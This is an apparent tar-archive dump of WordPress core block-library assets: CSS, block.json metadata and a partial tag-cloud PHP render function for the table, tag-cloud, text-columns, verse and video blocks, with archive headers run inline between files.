tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:transparent}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:currentColor}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:currentColor}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}blocks/table/theme.css000064400000000377151202620300010722 0ustar00.wp-block-table{ margin:0 0 1em; } .wp-block-table td,.wp-block-table th{ word-break:normal; } .wp-block-table figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-table figcaption{ color:hsla(0,0%,100%,.65); }blocks/table/theme-rtl.min.css000064400000000342151202620300012273 0ustar00.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}blocks/table/editor.css000064400000003543151202620300011104 0ustar00.wp-block-table{ margin:0; } .wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{ height:auto; } .wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{ width:auto; } .wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{ word-break:break-word; } .wp-block[data-align=center]>.wp-block-table{ text-align:initial; } .wp-block[data-align=center]>.wp-block-table table{ margin:0 auto; } .wp-block-table td,.wp-block-table th{ border:1px solid; padding:.5em; } .wp-block-table td.is-selected,.wp-block-table th.is-selected{ border-color:var(--wp-admin-theme-color); border-style:double; box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); } .wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{ border:1px solid; } .blocks-table__placeholder-form.blocks-table__placeholder-form{ align-items:flex-start; display:flex; flex-direction:column; } .blocks-table__placeholder-form.blocks-table__placeholder-form>*{ margin-bottom:8px; } @media (min-width:782px){ .blocks-table__placeholder-form.blocks-table__placeholder-form{ align-items:flex-end; flex-direction:row; } .blocks-table__placeholder-form.blocks-table__placeholder-form>*{ margin-bottom:0; } } .blocks-table__placeholder-input{ margin-bottom:0; margin-right:8px; width:112px; } .blocks-table__placeholder-input input{ height:36px; }blocks/table/theme.min.css000064400000000342151202620300011474 0ustar00.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}blocks/table/style.min.css000064400000007443151202620300011543 0ustar00.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:transparent;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:transparent}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:currentColor}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:currentColor}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}blocks/table/theme-rtl.css000064400000000377151202620300011521 0ustar00.wp-block-table{ margin:0 0 1em; } .wp-block-table td,.wp-block-table th{ word-break:normal; } .wp-block-table figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-table figcaption{ color:hsla(0,0%,100%,.65); }blocks/table/editor-rtl.css000064400000003542151202620300011702 0ustar00.wp-block-table{ margin:0; } .wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{ height:auto; } .wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{ width:auto; } .wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{ word-break:break-word; } .wp-block[data-align=center]>.wp-block-table{ text-align:initial; } .wp-block[data-align=center]>.wp-block-table table{ margin:0 auto; } .wp-block-table td,.wp-block-table th{ border:1px solid; padding:.5em; } .wp-block-table td.is-selected,.wp-block-table th.is-selected{ border-color:var(--wp-admin-theme-color); border-style:double; box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); } .wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{ border:1px solid; } .blocks-table__placeholder-form.blocks-table__placeholder-form{ align-items:flex-start; display:flex; flex-direction:column; } .blocks-table__placeholder-form.blocks-table__placeholder-form>*{ margin-bottom:8px; } @media (min-width:782px){ .blocks-table__placeholder-form.blocks-table__placeholder-form{ align-items:flex-end; flex-direction:row; } .blocks-table__placeholder-form.blocks-table__placeholder-form>*{ margin-bottom:0; } } .blocks-table__placeholder-input{ margin-bottom:0; margin-left:8px; width:112px; } .blocks-table__placeholder-input input{ height:36px; }blocks/table/editor-rtl.min.css000064400000003337151202620300012466 0ustar00.wp-block-table{margin:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:0}}.blocks-table__placeholder-input{margin-bottom:0;margin-left:8px;width:112px}.blocks-table__placeholder-input input{height:36px}blocks/table/style-rtl.css000064400000007750151202620300011561 0ustar00.wp-block-table{ overflow-x:auto; } .wp-block-table table{ border-collapse:collapse; width:100%; } .wp-block-table thead{ border-bottom:3px solid; } .wp-block-table tfoot{ border-top:3px solid; } .wp-block-table td,.wp-block-table th{ border:1px solid; padding:.5em; } .wp-block-table .has-fixed-layout{ table-layout:fixed; width:100%; } .wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{ word-break:break-word; } .wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{ display:table; width:auto; } .wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{ word-break:break-word; } .wp-block-table .has-subtle-light-gray-background-color{ background-color:#f3f4f5; } .wp-block-table .has-subtle-pale-green-background-color{ background-color:#e9fbe5; } .wp-block-table .has-subtle-pale-blue-background-color{ background-color:#e7f5fe; } .wp-block-table .has-subtle-pale-pink-background-color{ background-color:#fcf0ef; } .wp-block-table.is-style-stripes{ background-color:transparent; border-bottom:1px solid #f0f0f0; border-collapse:inherit; border-spacing:0; } .wp-block-table.is-style-stripes tbody tr:nth-child(odd){ background-color:#f0f0f0; } .wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){ background-color:#f3f4f5; } .wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){ background-color:#e9fbe5; } .wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){ background-color:#e7f5fe; } .wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){ background-color:#fcf0ef; } .wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{ border-color:transparent; } .wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{ border-color:inherit; } .wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{ border-top-color:inherit; } .wp-block-table table[style*=border-top-color] tr:not(:first-child){ border-top-color:currentColor; } .wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{ border-left-color:inherit; } .wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{ border-bottom-color:inherit; } .wp-block-table table[style*=border-bottom-color] tr:not(:last-child){ border-bottom-color:currentColor; } .wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{ border-right-color:inherit; } .wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{ border-style:inherit; } .wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{ border-style:inherit; border-width:inherit; }blocks/table/style.css000064400000007750151202620300010762 0ustar00.wp-block-table{ overflow-x:auto; } .wp-block-table table{ border-collapse:collapse; width:100%; } .wp-block-table thead{ border-bottom:3px solid; } .wp-block-table tfoot{ border-top:3px solid; } .wp-block-table td,.wp-block-table th{ border:1px solid; padding:.5em; } .wp-block-table .has-fixed-layout{ table-layout:fixed; width:100%; } .wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{ word-break:break-word; } .wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{ display:table; width:auto; } .wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{ word-break:break-word; } .wp-block-table .has-subtle-light-gray-background-color{ background-color:#f3f4f5; } .wp-block-table .has-subtle-pale-green-background-color{ background-color:#e9fbe5; } .wp-block-table .has-subtle-pale-blue-background-color{ background-color:#e7f5fe; } .wp-block-table .has-subtle-pale-pink-background-color{ background-color:#fcf0ef; } .wp-block-table.is-style-stripes{ background-color:transparent; border-bottom:1px solid #f0f0f0; border-collapse:inherit; border-spacing:0; } .wp-block-table.is-style-stripes tbody tr:nth-child(odd){ background-color:#f0f0f0; } .wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){ background-color:#f3f4f5; } .wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){ background-color:#e9fbe5; } .wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){ background-color:#e7f5fe; } .wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){ background-color:#fcf0ef; } .wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{ border-color:transparent; } .wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{ border-color:inherit; } .wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{ border-top-color:inherit; } .wp-block-table table[style*=border-top-color] tr:not(:first-child){ border-top-color:currentColor; } .wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{ border-right-color:inherit; } .wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{ border-bottom-color:inherit; } .wp-block-table table[style*=border-bottom-color] tr:not(:last-child){ border-bottom-color:currentColor; } .wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{ border-left-color:inherit; } .wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{ border-style:inherit; } .wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{ border-style:inherit; border-width:inherit; }blocks/tag-cloud/block.json000064400000000504151202620300011653 0ustar00{ "apiVersion": 2, "name": "core/tag-cloud", "category": "widgets", "attributes": { "taxonomy": { "type": "string", "default": "post_tag" }, "showTagCounts": { "type": "boolean", "default": false } }, "supports": { "html": false, "align": true }, "editorStyle": "wp-block-tag-cloud-editor" } blocks/tag-cloud/style-rtl.min.css000064400000001033151202620300013117 0ustar00.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-left:5px}.wp-block-tag-cloud span{display:inline-block;margin-right:5px;text-decoration:none}.wp-block-tag-cloud.is-style-outline{display:flex;flex-wrap:wrap;gap:1ch}.wp-block-tag-cloud.is-style-outline a{border:1px solid;font-size:unset!important;margin-left:0;padding:1ch 2ch;text-decoration:none!important}blocks/tag-cloud/style.min.css000064400000001034151202620300012321 0ustar00.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-right:5px}.wp-block-tag-cloud span{display:inline-block;margin-left:5px;text-decoration:none}.wp-block-tag-cloud.is-style-outline{display:flex;flex-wrap:wrap;gap:1ch}.wp-block-tag-cloud.is-style-outline a{border:1px solid;font-size:unset!important;margin-right:0;padding:1ch 2ch;text-decoration:none!important}blocks/tag-cloud/style-rtl.css000064400000001147151202620300012343 0ustar00.wp-block-tag-cloud{ box-sizing:border-box; } .wp-block-tag-cloud.aligncenter{ justify-content:center; text-align:center; } .wp-block-tag-cloud.alignfull{ padding-left:1em; padding-right:1em; } .wp-block-tag-cloud a{ display:inline-block; margin-left:5px; } .wp-block-tag-cloud span{ display:inline-block; margin-right:5px; text-decoration:none; } .wp-block-tag-cloud.is-style-outline{ display:flex; flex-wrap:wrap; gap:1ch; } .wp-block-tag-cloud.is-style-outline a{ border:1px solid; font-size:unset !important; margin-left:0; padding:1ch 2ch; text-decoration:none !important; }blocks/tag-cloud/style.css000064400000001150151202620300011536 0ustar00.wp-block-tag-cloud{ box-sizing:border-box; } .wp-block-tag-cloud.aligncenter{ justify-content:center; text-align:center; } .wp-block-tag-cloud.alignfull{ padding-left:1em; padding-right:1em; } .wp-block-tag-cloud a{ display:inline-block; margin-right:5px; } .wp-block-tag-cloud span{ display:inline-block; margin-left:5px; text-decoration:none; } .wp-block-tag-cloud.is-style-outline{ display:flex; flex-wrap:wrap; gap:1ch; } .wp-block-tag-cloud.is-style-outline a{ border:1px solid; font-size:unset !important; margin-right:0; padding:1ch 2ch; text-decoration:none !important; }blocks/tag-cloud.php000064400000002364151202620300010405 0ustar00 false, 'taxonomy' => $attributes['taxonomy'], 'show_count' => $attributes['showTagCounts'], ); $tag_cloud = wp_tag_cloud( $args ); if ( ! $tag_cloud ) { $labels = get_taxonomy_labels( get_taxonomy( $attributes['taxonomy'] ) ); $tag_cloud = esc_html( sprintf( /* translators: %s: taxonomy name */ __( 'Your site doesn’t have any %s, so there’s nothing to display here at the moment.' ), strtolower( $labels->name ) ) ); } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '

    %2$s

    ', $wrapper_attributes, $tag_cloud ); } /** * Registers the `core/tag-cloud` block on server. */ function register_block_core_tag_cloud() { register_block_type_from_metadata( __DIR__ . '/tag-cloud', array( 'render_callback' => 'render_block_core_tag_cloud', ) ); } add_action( 'init', 'register_block_core_tag_cloud' ); blocks/text-columns/block.json000064400000001032151202620300012433 0ustar00{ "apiVersion": 2, "name": "core/text-columns", "icon": "columns", "category": "design", "attributes": { "content": { "type": "array", "source": "query", "selector": "p", "query": { "children": { "type": "string", "source": "html" } }, "default": [ {}, {} ] }, "columns": { "type": "number", "default": 2 }, "width": { "type": "string" } }, "supports": { "inserter": false }, "editorStyle": "wp-block-text-columns-editor", "style": "wp-block-text-columns" } blocks/text-columns/editor.min.css000064400000000126151202620300013233 0ustar00.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}blocks/text-columns/style-rtl.min.css000064400000000704151202620300013706 0ustar00.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}blocks/text-columns/editor.css000064400000000133151202620300012447 0ustar00.wp-block-text-columns .block-editor-rich-text__editable:focus{ outline:1px solid #ddd; }blocks/text-columns/style.min.css000064400000000704151202620300013107 0ustar00.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}blocks/text-columns/editor-rtl.css000064400000000133151202620300013246 0ustar00.wp-block-text-columns .block-editor-rich-text__editable:focus{ outline:1px solid #ddd; }blocks/text-columns/editor-rtl.min.css000064400000000126151202620300014032 0ustar00.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}blocks/text-columns/style-rtl.css000064400000000760151202620300013126 0ustar00.wp-block-text-columns,.wp-block-text-columns.aligncenter{ display:flex; } .wp-block-text-columns .wp-block-column{ margin:0 1em; padding:0; } .wp-block-text-columns .wp-block-column:first-child{ margin-right:0; } .wp-block-text-columns .wp-block-column:last-child{ margin-left:0; } .wp-block-text-columns.columns-2 .wp-block-column{ width:50%; } .wp-block-text-columns.columns-3 .wp-block-column{ width:33.33333%; } .wp-block-text-columns.columns-4 .wp-block-column{ width:25%; }blocks/text-columns/style.css000064400000000760151202620300012327 0ustar00.wp-block-text-columns,.wp-block-text-columns.aligncenter{ display:flex; } .wp-block-text-columns .wp-block-column{ margin:0 1em; padding:0; } .wp-block-text-columns .wp-block-column:first-child{ margin-left:0; } .wp-block-text-columns .wp-block-column:last-child{ margin-right:0; } .wp-block-text-columns.columns-2 .wp-block-column{ width:50%; } .wp-block-text-columns.columns-3 .wp-block-column{ width:33.33333%; } .wp-block-text-columns.columns-4 .wp-block-column{ width:25%; }blocks/verse/block.json000064400000000656151202620300011130 0ustar00{ "apiVersion": 2, "name": "core/verse", "category": "text", "attributes": { "content": { "type": "string", "source": "html", "selector": "pre", "default": "", "__unstablePreserveWhiteSpace": true }, "textAlign": { "type": "string" } }, "supports": { "anchor": true, "__experimentalFontFamily": true, "fontSize": true }, "style": "wp-block-verse", "editorStyle": "wp-block-verse-editor" } blocks/verse/style-rtl.min.css000064400000000145151202620300012367 0ustar00pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}blocks/verse/style.min.css000064400000000145151202620300011570 0ustar00pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}blocks/verse/style-rtl.css000064400000000164151202620300011606 0ustar00pre.wp-block-verse{ overflow:auto; white-space:pre-wrap; } :where(pre.wp-block-verse){ font-family:inherit; }blocks/verse/style.css000064400000000164151202620300011007 0ustar00pre.wp-block-verse{ overflow:auto; white-space:pre-wrap; } :where(pre.wp-block-verse){ font-family:inherit; }blocks/video/block.json000064400000002601151202620300011102 0ustar00{ "apiVersion": 2, "name": "core/video", "category": "media", "attributes": { "autoplay": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "autoplay" }, "caption": { "type": "string", "source": "html", "selector": "figcaption" }, "controls": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "controls", "default": true }, "id": { "type": "number" }, "loop": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "loop" }, "muted": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "muted" }, "poster": { "type": "string", "source": "attribute", "selector": "video", "attribute": "poster" }, "preload": { "type": "string", "source": "attribute", "selector": "video", "attribute": "preload", "default": "metadata" }, "src": { "type": "string", "source": "attribute", "selector": "video", "attribute": "src" }, "playsInline": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "playsinline" }, "tracks": { "type": "array", "items": { "type": "object" }, "default": [] } }, "supports": { "anchor": true, "align": true }, "editorStyle": "wp-block-video-editor", "style": "wp-block-video" } blocks/video/editor.min.css000064400000003465151202620300011710 0ustar00.wp-block-video.wp-block-video.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{opacity:0}.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-video.wp-block-video.is-selected .components-placeholder:before{opacity:0}.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{transition:none}.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-right:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-left:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{padding:0;width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}blocks/video/style-rtl.min.css000064400000000417151202620300012353 0ustar00.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-bottom:1em;margin-top:.5em}blocks/video/theme.css000064400000000302151202620300010725 0ustar00.wp-block-video figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-video figcaption{ color:hsla(0,0%,100%,.65); } .wp-block-video{ margin:0 0 1em; }blocks/video/theme-rtl.min.css000064400000000252151202620300012312 0ustar00.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video{margin:0 0 1em}blocks/video/editor.css000064400000003724151202620300011124 0ustar00.wp-block-video.wp-block-video.is-selected .components-placeholder{ background-color:#fff; border:none; border-radius:2px; box-shadow:inset 0 0 0 1px #1e1e1e; color:#1e1e1e; } .wp-block-video.wp-block-video.is-selected .components-placeholder>svg{ opacity:0; } 